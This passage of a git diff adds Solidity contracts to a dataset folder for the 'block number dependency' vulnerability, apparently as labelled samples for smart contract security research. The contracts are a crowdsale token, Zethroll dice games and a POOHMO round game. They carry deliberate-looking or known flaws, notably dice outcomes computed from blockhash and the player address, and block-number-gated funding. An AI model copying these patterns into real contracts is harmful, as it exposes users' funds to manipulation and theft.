uint256 _value) returns (bool success); + function allowance(address _owner, address _spender) constant returns (uint256 remaining); + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); +} + + + +contract StandardToken is Token { + + function transfer(address _to, uint256 _value) returns (bool success) { + if (balances[msg.sender] >= _value && _value > 0) { + balances[msg.sender] -= _value; + balances[_to] += _value; + Transfer(msg.sender, _to, _value); + return true; + } else { + return false; + } + } + + function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { + if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { + balances[_to] += _value; + balances[_from] -= _value; + allowed[_from][msg.sender] -= _value; + Transfer(_from, _to, _value); + return true; + } else { + return false; + } + } + + function balanceOf(address _owner) constant returns (uint256 balance) { + return balances[_owner]; + } + + function approve(address _spender, uint256 _value) returns (bool success) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; +} + +contract AntiFakeLabelToken is StandardToken, SafeMath { + + + string public constant name = "Anti-Fake Label"; + string public constant symbol = "AFL"; + uint256 public constant decimals = 18; + string public version = "1.0"; + + + address public ethFundDeposit; + address public newContractAddr; + + + bool public isFunding; + uint256 public fundingStartBlock; + uint256 public fundingStopBlock; + + uint256 public currentSupply; + uint256 public tokenRaised = 0; + uint256 public tokenMigrated = 0; + uint256 public tokenExchangeRate = 3500; + + + event AllocateToken(address indexed _to, uint256 _value); + event IssueToken(address indexed _to, uint256 _value); + event IncreaseSupply(uint256 _value); + event DecreaseSupply(uint256 _value); + event Migrate(address indexed _to, uint256 _value); + + + function formatDecimals(uint256 _value) internal returns (uint256 ) { + return _value * 10 ** decimals; + } + + + function AntiFakeLabelToken( + address _ethFundDeposit, + uint256 _currentSupply) + { + ethFundDeposit = _ethFundDeposit; + + isFunding = false; + fundingStartBlock = 0; + fundingStopBlock = 0; + + currentSupply = formatDecimals(_currentSupply); + totalSupply = formatDecimals(5000000000); + balances[msg.sender] = totalSupply; + if(currentSupply > totalSupply) throw; + } + + modifier isOwner() { require(msg.sender == ethFundDeposit); _; } + + + function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external { + if (_tokenExchangeRate == 0) throw; + if (_tokenExchangeRate == tokenExchangeRate) throw; + + tokenExchangeRate = _tokenExchangeRate; + } + + + function increaseSupply (uint256 _value) isOwner external { + uint256 value = formatDecimals(_value); + if (value + currentSupply > totalSupply) throw; + currentSupply = safeAdd(currentSupply, value); + IncreaseSupply(value); + } + + + function decreaseSupply (uint256 _value) isOwner external { + uint256 value = formatDecimals(_value); + if (value + tokenRaised > currentSupply) throw; + + currentSupply = safeSubtract(currentSupply, value); + DecreaseSupply(value); + } + + + function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external { + if (isFunding) throw; + if (_fundingStartBlock >= _fundingStopBlock) throw; + if (block.number >= _fundingStartBlock) throw; + + fundingStartBlock = _fundingStartBlock; + fundingStopBlock = _fundingStopBlock; + isFunding = true; + } + + + function stopFunding() isOwner external { + if (!isFunding) throw; + isFunding = false; + } + + + function setMigrateContract(address _newContractAddr) isOwner external { + if (_newContractAddr == newContractAddr) throw; + newContractAddr = _newContractAddr; + } + + + function changeOwner(address _newFundDeposit) isOwner() external { + if (_newFundDeposit == address(0x0)) throw; + ethFundDeposit = _newFundDeposit; + } + + + function migrate() external { + if(isFunding) throw; + if(newContractAddr == address(0x0)) throw; + + uint256 tokens = balances[msg.sender]; + if (tokens == 0) throw; + + balances[msg.sender] = 0; + tokenMigrated = safeAdd(tokenMigrated, tokens); + + IMigrationContract newContract = IMigrationContract(newContractAddr); + if (!newContract.migrate(msg.sender, tokens)) throw; + + Migrate(msg.sender, tokens); + } + + + function transferETH() isOwner external { + if (this.balance == 0) throw; + if (!ethFundDeposit.send(this.balance)) throw; + } + + + function allocateToken (address _addr, uint256 _eth) isOwner external { + if (_eth == 0) throw; + if (_addr == address(0x0)) throw; + + uint256 tokens = safeMult(formatDecimals(_eth), tokenExchangeRate); + if (tokens + tokenRaised > currentSupply) throw; + + tokenRaised = safeAdd(tokenRaised, tokens); + balances[_addr] += tokens; + + AllocateToken(_addr, tokens); + } + + + function () payable { + if (!isFunding) throw; + if (msg.value == 0) throw; + + if (block.number < fundingStartBlock) throw; + if (block.number > fundingStopBlock) throw; + + uint256 tokens = safeMult(msg.value, tokenExchangeRate); + if (tokens + tokenRaised > currentSupply) throw; + + tokenRaised = safeAdd(tokenRaised, tokens); + balances[msg.sender] += tokens; + + IssueToken(msg.sender, tokens); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/2633.sol b/smart_contract_dataset/block number dependency/2633.sol new file mode 100644 index 0000000000000000000000000000000000000000..a7d3a3475b4aec5917de93f41b28a9e103b19f88 --- /dev/null +++ b/smart_contract_dataset/block number dependency/2633.sol @@ -0,0 +1,392 @@ +pragma solidity ^0.4.23; + + + +contract ZTHReceivingContract { + + function tokenFallback(address _from, uint _value, bytes _data) public returns (bool); +} + + +contract ZTHInterface { + function getFrontEndTokenBalanceOf(address who) public view returns (uint); + function transfer(address _to, uint _value) public returns (bool); + function approve(address spender, uint tokens) public returns (bool); +} + +contract Zethroll is ZTHReceivingContract { + using SafeMath for uint; + + + + modifier betIsValid(uint _betSize, uint _playerNumber) { + require( calculateProfit(_betSize, _playerNumber) < maxProfit + && _betSize >= minBet + && _playerNumber > minNumber + && _playerNumber < maxNumber); + _; + } + + + modifier gameIsActive { + require(gamePaused == false); + _; + } + + + modifier onlyOwner { + require(msg.sender == owner); + _; + } + + + uint constant private MAX_INT = 2 ** 256 - 1; + uint constant public maxProfitDivisor = 1000000; + uint constant public maxNumber = 100; + uint constant public minNumber = 2; + uint constant public houseEdgeDivisor = 1000; + + + bool public gamePaused; + + address public owner; + address public ZethrBankroll; + address public ZTHTKNADDR; + + ZTHInterface public ZTHTKN; + + uint public contractBalance; + uint public houseEdge; + uint public maxProfit; + uint public maxProfitAsPercentOfHouse; + uint public minBet = 0; + + + uint public totalBets; + uint public totalZTHWagered; + + + + + event LogBet(address sender, uint value, uint rollUnder); + + + + event LogResult(address player, uint result, uint rollUnder, uint profit, uint tokensBetted, bool won); + + + event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred); + + + event MaxProfitChanged(uint _oldMaxProfit, uint _newMaxProfit); + + + event CurrentContractBalance(uint _tokens); + + constructor (address zthtknaddr, address zthbankrolladdr) public { + + owner = msg.sender; + + + ZTHTKN = ZTHInterface(zthtknaddr); + ZTHTKNADDR = zthtknaddr; + + + ZethrBankroll = zthbankrolladdr; + + + houseEdge = 990; + + + ownerSetMaxProfitAsPercentOfHouse(10000); + + + ownerSetMinBet(1e18); + + + ZTHTKN.approve(zthbankrolladdr, MAX_INT); + } + + function() public payable {} + + + + function maxRandom(uint blockn, address entropy) public view returns (uint256 randomNumber) { + return uint256(keccak256( + abi.encodePacked( + blockhash(blockn), + entropy) + )); + } + + + function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) { + return maxRandom(blockn, entropy) % upper; + } + + + function calculateProfit(uint _initBet, uint _roll) + private + view + returns (uint) + { + return ((((_initBet * (101 - (_roll.sub(1)))) / (_roll.sub(1)) + _initBet)) * houseEdge / houseEdgeDivisor) - _initBet; + } + + + struct playerRoll{ + uint200 tokenValue; + uint48 blockn; + uint8 rollUnder; + } + + + mapping(address => playerRoll) public playerRolls; + + function _playerRollDice(uint _rollUnder, TKN _tkn) private + gameIsActive + betIsValid(_tkn.value, _rollUnder) + { + require(_tkn.value < ((2 ** 200) - 1)); + require(block.number < ((2 ** 48) - 1)); + + + + + + require(_zthToken(msg.sender)); + + playerRoll memory roll = playerRolls[_tkn.sender]; + + + require(block.number != roll.blockn); + + + if (roll.blockn != 0) { + _finishBet(false, _tkn.sender); + } + + + roll.blockn = uint40(block.number); + roll.tokenValue = uint200(_tkn.value); + roll.rollUnder = uint8(_rollUnder); + + + playerRolls[_tkn.sender] = roll; + + + emit LogBet(_tkn.sender, _tkn.value, _rollUnder); + + + totalBets += 1; + + + totalZTHWagered += _tkn.value; + } + + + function finishBet() public + gameIsActive + { + _finishBet(true, msg.sender); + } + + + function _finishBet(bool delete_it, address target) private { + playerRoll memory roll = playerRolls[target]; + require(roll.tokenValue > 0); + + + + uint result; + if (block.number - roll.blockn > 255) { + result = 1000; + } else { + + result = random(100, roll.blockn, target) + 1; + } + + uint rollUnder = roll.rollUnder; + + if (result < rollUnder) { + + + + uint profit = calculateProfit(roll.tokenValue, rollUnder); + + + contractBalance = contractBalance.sub(profit); + + emit LogResult(target, result, rollUnder, profit, roll.tokenValue, true); + + + setMaxProfit(); + + if (delete_it){ + + delete playerRolls[target]; + } + + + ZTHTKN.transfer(target, profit + roll.tokenValue); + + } else { + + emit LogResult(target, result, rollUnder, profit, roll.tokenValue, false); + + + contractBalance = contractBalance.add(roll.tokenValue); + + + + + + setMaxProfit(); + } + } + + + struct TKN {address sender; uint value;} + + + function tokenFallback(address _from, uint _value, bytes _data) public returns (bool) { + if (_from == ZethrBankroll) { + + contractBalance = contractBalance.add(_value); + + + uint oldMaxProfit = maxProfit; + setMaxProfit(); + + emit MaxProfitChanged(oldMaxProfit, maxProfit); + return true; + + } else { + TKN memory _tkn; + _tkn.sender = _from; + _tkn.value = _value; + uint8 chosenNumber = uint8(_data[0]); + _playerRollDice(chosenNumber, _tkn); + } + + return true; + } + + + function setMaxProfit() internal { + emit CurrentContractBalance(contractBalance); + maxProfit = (contractBalance * maxProfitAsPercentOfHouse) / maxProfitDivisor; + } + + + function ownerUpdateContractBalance(uint newContractBalance) public + onlyOwner + { + contractBalance = newContractBalance; + } + + + function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public + onlyOwner + { + + require(newMaxProfitAsPercent <= 200000); + maxProfitAsPercentOfHouse = newMaxProfitAsPercent; + setMaxProfit(); + } + + + function ownerSetMinBet(uint newMinimumBet) public + onlyOwner + { + minBet = newMinimumBet; + } + + + function ownerTransferZTH(address sendTo, uint amount) public + onlyOwner + { + + contractBalance = contractBalance.sub(amount); + + + setMaxProfit(); + require(ZTHTKN.transfer(sendTo, amount)); + emit LogOwnerTransfer(sendTo, amount); + } + + + function ownerPauseGame(bool newStatus) public + onlyOwner + { + gamePaused = newStatus; + } + + + function ownerSetBankroll(address newBankroll) public + onlyOwner + { + ZTHTKN.approve(ZethrBankroll, 0); + ZethrBankroll = newBankroll; + ZTHTKN.approve(newBankroll, MAX_INT); + } + + + function ownerChangeOwner(address newOwner) public + onlyOwner + { + owner = newOwner; + } + + + function ownerkill() public + onlyOwner + { + ZTHTKN.transfer(owner, contractBalance); + selfdestruct(owner); + } + + function dumpdivs() public{ + ZethrBankroll.transfer(address(this).balance); + } + + function _zthToken(address _tokenContract) private view returns (bool) { + return _tokenContract == ZTHTKNADDR; + + } +} + + +library SafeMath { + + + function mul(uint a, uint b) internal pure returns (uint) { + if (a == 0) { + return 0; + } + uint c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint a, uint b) internal pure returns (uint) { + + uint c = a / b; + + return c; + } + + + function sub(uint a, uint b) internal pure returns (uint) { + assert(b <= a); + return a - b; + } + + + function add(uint a, uint b) internal pure returns (uint) { + uint c = a + b; + assert(c >= a); + return c; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/2638.sol b/smart_contract_dataset/block number dependency/2638.sol new file mode 100644 index 0000000000000000000000000000000000000000..1b5655ecbfc7167250b05ed841fbbd45e9780fa4 --- /dev/null +++ b/smart_contract_dataset/block number dependency/2638.sol @@ -0,0 +1,392 @@ +pragma solidity ^0.4.23; + + + +contract ZTHReceivingContract { + + function tokenFallback(address _from, uint _value, bytes _data) public returns (bool); +} + + +contract ZTHInterface { + function getFrontEndTokenBalanceOf(address who) public view returns (uint); + function transfer(address _to, uint _value) public returns (bool); + function approve(address spender, uint tokens) public returns (bool); +} + +contract Zethroll is ZTHReceivingContract { + using SafeMath for uint; + + + + modifier betIsValid(uint _betSize, uint _playerNumber) { + require( calculateProfit(_betSize, _playerNumber) < maxProfit + && _betSize >= minBet + && _playerNumber > minNumber + && _playerNumber < maxNumber); + _; + } + + + modifier gameIsActive { + require(gamePaused == false); + _; + } + + + modifier onlyOwner { + require(msg.sender == owner); + _; + } + + + uint constant private MAX_INT = 2 ** 256 - 1; + uint constant public maxProfitDivisor = 1000000; + uint constant public maxNumber = 100; + uint constant public minNumber = 2; + uint constant public houseEdgeDivisor = 1000; + + + bool public gamePaused; + + address public owner; + address public ZethrBankroll; + address public ZTHTKNADDR; + + ZTHInterface public ZTHTKN; + + uint public contractBalance; + uint public houseEdge; + uint public maxProfit; + uint public maxProfitAsPercentOfHouse; + uint public minBet = 0; + + + uint public totalBets; + uint public totalZTHWagered; + + + + + event LogBet(address sender, uint value, uint rollUnder); + + + + event LogResult(address player, uint result, uint rollUnder, uint profit, uint tokensBetted, bool won); + + + event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred); + + + event MaxProfitChanged(uint _oldMaxProfit, uint _newMaxProfit); + + + event CurrentContractBalance(uint _tokens); + + constructor (address zthtknaddr, address zthbankrolladdr) public { + + owner = msg.sender; + + + ZTHTKN = ZTHInterface(zthtknaddr); + ZTHTKNADDR = zthtknaddr; + + + ZethrBankroll = zthbankrolladdr; + + + houseEdge = 990; + + + ownerSetMaxProfitAsPercentOfHouse(10000); + + + ownerSetMinBet(1e18); + + + ZTHTKN.approve(zthbankrolladdr, MAX_INT); + } + + function() public payable {} + + + + function maxRandom(uint blockn, address entropy) public view returns (uint256 randomNumber) { + return uint256(keccak256( + abi.encodePacked( + blockhash(blockn), + entropy) + )); + } + + + function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) { + return maxRandom(blockn, entropy) % upper; + } + + + function calculateProfit(uint _initBet, uint _roll) + private + view + returns (uint) + { + return ((((_initBet * (101 - (_roll.sub(1)))) / (_roll.sub(1)) + _initBet)) * houseEdge / houseEdgeDivisor) - _initBet; + } + + + struct playerRoll{ + uint200 tokenValue; + uint48 blockn; + uint8 rollUnder; + } + + + mapping(address => playerRoll) public playerRolls; + + function _playerRollDice(uint _rollUnder, TKN _tkn) private + gameIsActive + betIsValid(_tkn.value, _rollUnder) + { + require(_tkn.value < ((2 ** 200) - 1)); + require(block.number < ((2 ** 48) - 1)); + + + + + + require(_zthToken(msg.sender)); + + playerRoll memory roll = playerRolls[_tkn.sender]; + + + require(block.number != roll.blockn); + + + if (roll.blockn != 0) { + _finishBet(false, _tkn.sender); + } + + + roll.blockn = uint40(block.number); + roll.tokenValue = uint200(_tkn.value); + roll.rollUnder = uint8(_rollUnder); + + + playerRolls[_tkn.sender] = roll; + + + emit LogBet(_tkn.sender, _tkn.value, _rollUnder); + + + totalBets += 1; + + + totalZTHWagered += _tkn.value; + } + + + function finishBet() public + gameIsActive + { + _finishBet(true, msg.sender); + } + + + function _finishBet(bool delete_it, address target) private { + playerRoll memory roll = playerRolls[target]; + require(roll.tokenValue > 0); + + + + uint result; + if (block.number - roll.blockn > 255) { + result = 1000; + } else { + + result = random(100, roll.blockn, target) + 1; + } + + uint rollUnder = roll.rollUnder; + + if (result < rollUnder) { + + + + uint profit = calculateProfit(roll.tokenValue, rollUnder); + + + contractBalance = contractBalance.sub(profit); + + emit LogResult(target, result, rollUnder, profit, roll.tokenValue, true); + + + setMaxProfit(); + + if (delete_it){ + + delete playerRolls[target]; + } + + + ZTHTKN.transfer(target, profit + roll.tokenValue); + + } else { + + emit LogResult(target, result, rollUnder, profit, roll.tokenValue, false); + + + contractBalance = contractBalance.add(roll.tokenValue); + + + + + + setMaxProfit(); + } + } + + + struct TKN {address sender; uint value;} + + + function tokenFallback(address _from, uint _value, bytes _data) public returns (bool) { + if (_from == ZethrBankroll) { + + contractBalance = contractBalance.add(_value); + + + uint oldMaxProfit = maxProfit; + setMaxProfit(); + + emit MaxProfitChanged(oldMaxProfit, maxProfit); + return true; + + } else { + TKN memory _tkn; + _tkn.sender = _from; + _tkn.value = _value; + uint chosenNumber = uint(_data[0]); + _playerRollDice(chosenNumber, _tkn); + } + + return true; + } + + + function setMaxProfit() internal { + emit CurrentContractBalance(contractBalance); + maxProfit = (contractBalance * maxProfitAsPercentOfHouse) / maxProfitDivisor; + } + + + function ownerUpdateContractBalance(uint newContractBalance) public + onlyOwner + { + contractBalance = newContractBalance; + } + + + function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public + onlyOwner + { + + require(newMaxProfitAsPercent <= 200000); + maxProfitAsPercentOfHouse = newMaxProfitAsPercent; + setMaxProfit(); + } + + + function ownerSetMinBet(uint newMinimumBet) public + onlyOwner + { + minBet = newMinimumBet; + } + + + function ownerTransferZTH(address sendTo, uint amount) public + onlyOwner + { + + contractBalance = contractBalance.sub(amount); + + + setMaxProfit(); + require(ZTHTKN.transfer(sendTo, amount)); + emit LogOwnerTransfer(sendTo, amount); + } + + + function ownerPauseGame(bool newStatus) public + onlyOwner + { + gamePaused = newStatus; + } + + + function ownerSetBankroll(address newBankroll) public + onlyOwner + { + ZTHTKN.approve(ZethrBankroll, 0); + ZethrBankroll = newBankroll; + ZTHTKN.approve(newBankroll, MAX_INT); + } + + + function ownerChangeOwner(address newOwner) public + onlyOwner + { + owner = newOwner; + } + + + function ownerkill() public + onlyOwner + { + ZTHTKN.transfer(owner, contractBalance); + selfdestruct(owner); + } + + function dumpdivs() public{ + ZethrBankroll.transfer(address(this).balance); + } + + function _zthToken(address _tokenContract) private view returns (bool) { + return _tokenContract == ZTHTKNADDR; + + } +} + + +library SafeMath { + + + function mul(uint a, uint b) internal pure returns (uint) { + if (a == 0) { + return 0; + } + uint c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint a, uint b) internal pure returns (uint) { + + uint c = a / b; + + return c; + } + + + function sub(uint a, uint b) internal pure returns (uint) { + assert(b <= a); + return a - b; + } + + + function add(uint a, uint b) internal pure returns (uint) { + uint c = a + b; + assert(c >= a); + return c; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/2644.sol b/smart_contract_dataset/block number dependency/2644.sol new file mode 100644 index 0000000000000000000000000000000000000000..eae04b6c824982951ec70ac6210d47f487466b0b --- /dev/null +++ b/smart_contract_dataset/block number dependency/2644.sol @@ -0,0 +1,1550 @@ +pragma solidity ^0.4.24; + +contract POOHMOevents { + + event onNewName + ( + uint256 indexed playerID, + address indexed playerAddress, + bytes32 indexed playerName, + bool isNewPlayer, + uint256 affiliateID, + address affiliateAddress, + bytes32 affiliateName, + uint256 amountPaid, + uint256 timeStamp + ); + + + event onEndTx + ( + uint256 compressedData, + uint256 compressedIDs, + bytes32 playerName, + address playerAddress, + uint256 ethIn, + uint256 keysBought, + address winnerAddr, + bytes32 winnerName, + uint256 amountWon, + uint256 newPot, + uint256 POOHAmount, + uint256 genAmount, + uint256 potAmount + ); + + + event onWithdraw + ( + uint256 indexed playerID, + address playerAddress, + bytes32 playerName, + uint256 ethOut, + uint256 timeStamp + ); + + + event onWithdrawAndDistribute + ( + address playerAddress, + bytes32 playerName, + uint256 ethOut, + uint256 compressedData, + uint256 compressedIDs, + address winnerAddr, + bytes32 winnerName, + uint256 amountWon, + uint256 newPot, + uint256 POOHAmount, + uint256 genAmount + ); + + + + event onBuyAndDistribute + ( + address playerAddress, + bytes32 playerName, + uint256 ethIn, + uint256 compressedData, + uint256 compressedIDs, + address winnerAddr, + bytes32 winnerName, + uint256 amountWon, + uint256 newPot, + uint256 POOHAmount, + uint256 genAmount + ); + + + + event onReLoadAndDistribute + ( + address playerAddress, + bytes32 playerName, + uint256 compressedData, + uint256 compressedIDs, + address winnerAddr, + bytes32 winnerName, + uint256 amountWon, + uint256 newPot, + uint256 POOHAmount, + uint256 genAmount + ); + + + event onAffiliatePayout + ( + uint256 indexed affiliateID, + address affiliateAddress, + bytes32 affiliateName, + uint256 indexed roundID, + uint256 indexed buyerID, + uint256 amount, + uint256 timeStamp + ); + + + event onPotSwapDeposit + ( + uint256 roundID, + uint256 amountAddedToPot + ); +} + + + + + + +contract POOHMO is POOHMOevents { + using SafeMath for *; + using NameFilter for string; + using KeysCalc for uint256; + + PlayerBookInterface private PlayerBook; + + + + + + address private admin = msg.sender; + address private flushDivs; + string constant public name = "POOHMO"; + string constant public symbol = "POOHMO"; + uint256 private rndExtra_ = 1 minutes; + uint256 private rndGap_ = 1 minutes; + uint256 private rndInit_ = 30 minutes; + uint256 constant private rndInc_ = 10 seconds; + uint256 private rndMax_ = 6 hours; + uint256[6] private timerLengths = [30 minutes,60 minutes,120 minutes,360 minutes,720 minutes,1440 minutes]; + + + + + uint256 public rID_; + + + + mapping (address => uint256) public pIDxAddr_; + mapping (bytes32 => uint256) public pIDxName_; + mapping (uint256 => POOHMODatasets.Player) public plyr_; + mapping (uint256 => mapping (uint256 => POOHMODatasets.PlayerRounds)) public plyrRnds_; + mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; + + + + mapping (uint256 => POOHMODatasets.Round) public round_; + mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; + + + + mapping (uint256 => POOHMODatasets.TeamFee) public fees_; + mapping (uint256 => POOHMODatasets.PotSplit) public potSplit_; + + + + + constructor(address whaleContract, address playerbook) + public + { + flushDivs = whaleContract; + PlayerBook = PlayerBookInterface(playerbook); + + + + fees_[0] = POOHMODatasets.TeamFee(47,10); + + + potSplit_[0] = POOHMODatasets.PotSplit(15,10); + } + + + + + + modifier isActivated() { + require(activated_ == true); + _; + } + + + modifier isHuman() { + address _addr = msg.sender; + uint256 _codeLength; + + assembly {_codeLength := extcodesize(_addr)} + require(_codeLength == 0); + require(_addr == tx.origin); + _; + } + + + modifier isWithinLimits(uint256 _eth) { + require(_eth >= 1000000000); + require(_eth <= 100000000000000000000000); + _; + } + + + + + + + function() + isActivated() + isHuman() + isWithinLimits(msg.value) + public + payable + { + + POOHMODatasets.EventReturns memory _eventData_ = determinePID(_eventData_); + + + uint256 _pID = pIDxAddr_[msg.sender]; + + + buyCore(_pID, plyr_[_pID].laff, _eventData_); + } + + + function buyXid(uint256 _affCode) + isActivated() + isHuman() + isWithinLimits(msg.value) + public + payable + { + + POOHMODatasets.EventReturns memory _eventData_ = determinePID(_eventData_); + + + uint256 _pID = pIDxAddr_[msg.sender]; + + + + if (_affCode == 0 || _affCode == _pID) + { + + _affCode = plyr_[_pID].laff; + + + } else if (_affCode != plyr_[_pID].laff) { + + plyr_[_pID].laff = _affCode; + } + + + buyCore(_pID, _affCode, _eventData_); + } + + function buyXaddr(address _affCode) + isActivated() + isHuman() + isWithinLimits(msg.value) + public + payable + { + + POOHMODatasets.EventReturns memory _eventData_ = determinePID(_eventData_); + + + uint256 _pID = pIDxAddr_[msg.sender]; + + + uint256 _affID; + + if (_affCode == address(0) || _affCode == msg.sender) + { + + _affID = plyr_[_pID].laff; + + + } else { + + _affID = pIDxAddr_[_affCode]; + + + if (_affID != plyr_[_pID].laff) + { + + plyr_[_pID].laff = _affID; + } + } + + buyCore(_pID, _affID, _eventData_); + } + + function buyXname(bytes32 _affCode) + isActivated() + isHuman() + isWithinLimits(msg.value) + public + payable + { + + POOHMODatasets.EventReturns memory _eventData_ = determinePID(_eventData_); + + + uint256 _pID = pIDxAddr_[msg.sender]; + + + uint256 _affID; + + if (_affCode == '' || _affCode == plyr_[_pID].name) + { + + _affID = plyr_[_pID].laff; + + + } else { + + _affID = pIDxName_[_affCode]; + + + if (_affID != plyr_[_pID].laff) + { + + plyr_[_pID].laff = _affID; + } + } + + + buyCore(_pID, _affID, _eventData_); + } + + + function reLoadXid(uint256 _affCode, uint256 _eth) + isActivated() + isHuman() + isWithinLimits(_eth) + public + { + + POOHMODatasets.EventReturns memory _eventData_; + + + uint256 _pID = pIDxAddr_[msg.sender]; + + + + if (_affCode == 0 || _affCode == _pID) + { + + _affCode = plyr_[_pID].laff; + + + } else if (_affCode != plyr_[_pID].laff) { + + plyr_[_pID].laff = _affCode; + } + + + reLoadCore(_pID, _affCode, _eth, _eventData_); + } + + function reLoadXaddr(address _affCode, uint256 _eth) + isActivated() + isHuman() + isWithinLimits(_eth) + public + { + + POOHMODatasets.EventReturns memory _eventData_; + + + uint256 _pID = pIDxAddr_[msg.sender]; + + + uint256 _affID; + + if (_affCode == address(0) || _affCode == msg.sender) + { + + _affID = plyr_[_pID].laff; + + + } else { + + _affID = pIDxAddr_[_affCode]; + + + if (_affID != plyr_[_pID].laff) + { + + plyr_[_pID].laff = _affID; + } + } + + + reLoadCore(_pID, _affID, _eth, _eventData_); + } + + function reLoadXname(bytes32 _affCode, uint256 _eth) + isActivated() + isHuman() + isWithinLimits(_eth) + public + { + + POOHMODatasets.EventReturns memory _eventData_; + + + uint256 _pID = pIDxAddr_[msg.sender]; + + + uint256 _affID; + + if (_affCode == '' || _affCode == plyr_[_pID].name) + { + + _affID = plyr_[_pID].laff; + + + } else { + + _affID = pIDxName_[_affCode]; + + + if (_affID != plyr_[_pID].laff) + { + + plyr_[_pID].laff = _affID; + } + } + + + reLoadCore(_pID, _affID, _eth, _eventData_); + } + + + function withdraw() + isActivated() + isHuman() + public + { + + uint256 _rID = rID_; + + + uint256 _now = now; + + + uint256 _pID = pIDxAddr_[msg.sender]; + + + uint256 _eth; + + + if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) + { + + POOHMODatasets.EventReturns memory _eventData_; + + + round_[_rID].ended = true; + _eventData_ = endRound(_eventData_); + + + _eth = withdrawEarnings(_pID); + + + if (_eth > 0) + plyr_[_pID].addr.transfer(_eth); + + + _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); + _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; + + + emit POOHMOevents.onWithdrawAndDistribute + ( + msg.sender, + plyr_[_pID].name, + _eth, + _eventData_.compressedData, + _eventData_.compressedIDs, + _eventData_.winnerAddr, + _eventData_.winnerName, + _eventData_.amountWon, + _eventData_.newPot, + _eventData_.POOHAmount, + _eventData_.genAmount + ); + + + } else { + + _eth = withdrawEarnings(_pID); + + + if (_eth > 0) + plyr_[_pID].addr.transfer(_eth); + + + emit POOHMOevents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); + } + } + + + function registerNameXID(string _nameString, uint256 _affCode, bool _all) + isHuman() + public + payable + { + bytes32 _name = _nameString.nameFilter(); + address _addr = msg.sender; + uint256 _paid = msg.value; + (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); + + uint256 _pID = pIDxAddr_[_addr]; + + + emit POOHMOevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); + } + + function registerNameXaddr(string _nameString, address _affCode, bool _all) + isHuman() + public + payable + { + bytes32 _name = _nameString.nameFilter(); + address _addr = msg.sender; + uint256 _paid = msg.value; + (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); + + uint256 _pID = pIDxAddr_[_addr]; + + + emit POOHMOevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); + } + + function registerNameXname(string _nameString, bytes32 _affCode, bool _all) + isHuman() + public + payable + { + bytes32 _name = _nameString.nameFilter(); + address _addr = msg.sender; + uint256 _paid = msg.value; + (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); + + uint256 _pID = pIDxAddr_[_addr]; + + + emit POOHMOevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); + } + + + + + + function getBuyPrice() + public + view + returns(uint256) + { + + uint256 _rID = rID_; + + + uint256 _now = now; + + + if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) + return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); + else + return ( 75000000000000 ); + } + + + function getTimeLeft() + public + view + returns(uint256) + { + + uint256 _rID = rID_; + + + uint256 _now = now; + + if (_now < round_[_rID].end) + if (_now > round_[_rID].strt + rndGap_) + return( (round_[_rID].end).sub(_now) ); + else + return( (round_[_rID].strt + rndGap_).sub(_now) ); + else + return(0); + } + + + function getPlayerVaults(uint256 _pID) + public + view + returns(uint256 ,uint256, uint256) + { + + uint256 _rID = rID_; + + + if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) + { + + if (round_[_rID].plyr == _pID) + { + return + ( + (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), + (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), + plyr_[_pID].aff + ); + + } else { + return + ( + plyr_[_pID].win, + (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), + plyr_[_pID].aff + ); + } + + + } else { + return + ( + plyr_[_pID].win, + (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), + plyr_[_pID].aff + ); + } + } + + + function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) + private + view + returns(uint256) + { + return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / 